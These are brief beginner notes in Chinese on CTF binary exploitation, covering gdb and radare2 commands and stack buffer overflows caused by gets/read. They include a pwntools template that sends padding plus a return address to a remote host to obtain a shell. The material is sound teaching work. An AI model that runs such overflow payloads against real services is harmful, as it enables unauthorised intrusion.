Pwn
What is pwn?
有弱點的程式,透過漏洞得到shell或flag
(通常是遠端)
radare2
gdb
pwntools
google 指令下載
python2和3有時候會有差別
設斷點
b main
b *0x001011
執行
r
繼續
c
跳至
j *0x001011
ni
步過
si
步入
分析
aa
進入不同模式
V、VV
列出函式
afl
s main
s 0x001011
離開
:q
from pwn import*//引入函式
r=remote('google.com',12347)//連結遠端
r.recvuntil('\n')//直到收到換行停止
address=0x00401216 r.sendline('a'*0x18+p64(address))//對遠端送出
r.interactive()//開始運作
沒控制輸入長度,導致記憶體被蓋掉
gets
read
buffer(輸入) -> saved rbp -> return address
介紹幾個簡單的漏洞-1
如果要你改區域變數就可以拿到shell?
計算輸入與區域變數的記憶體距離然後把它蓋掉
介紹幾個簡單的漏洞-2
如果有可以拿到shell的function?
把buffer一路塞滿蓋到return address把他改成shell的位址
(saved rbp也要蓋)
buffer overflow 0
buffer overflow 1
By richardliang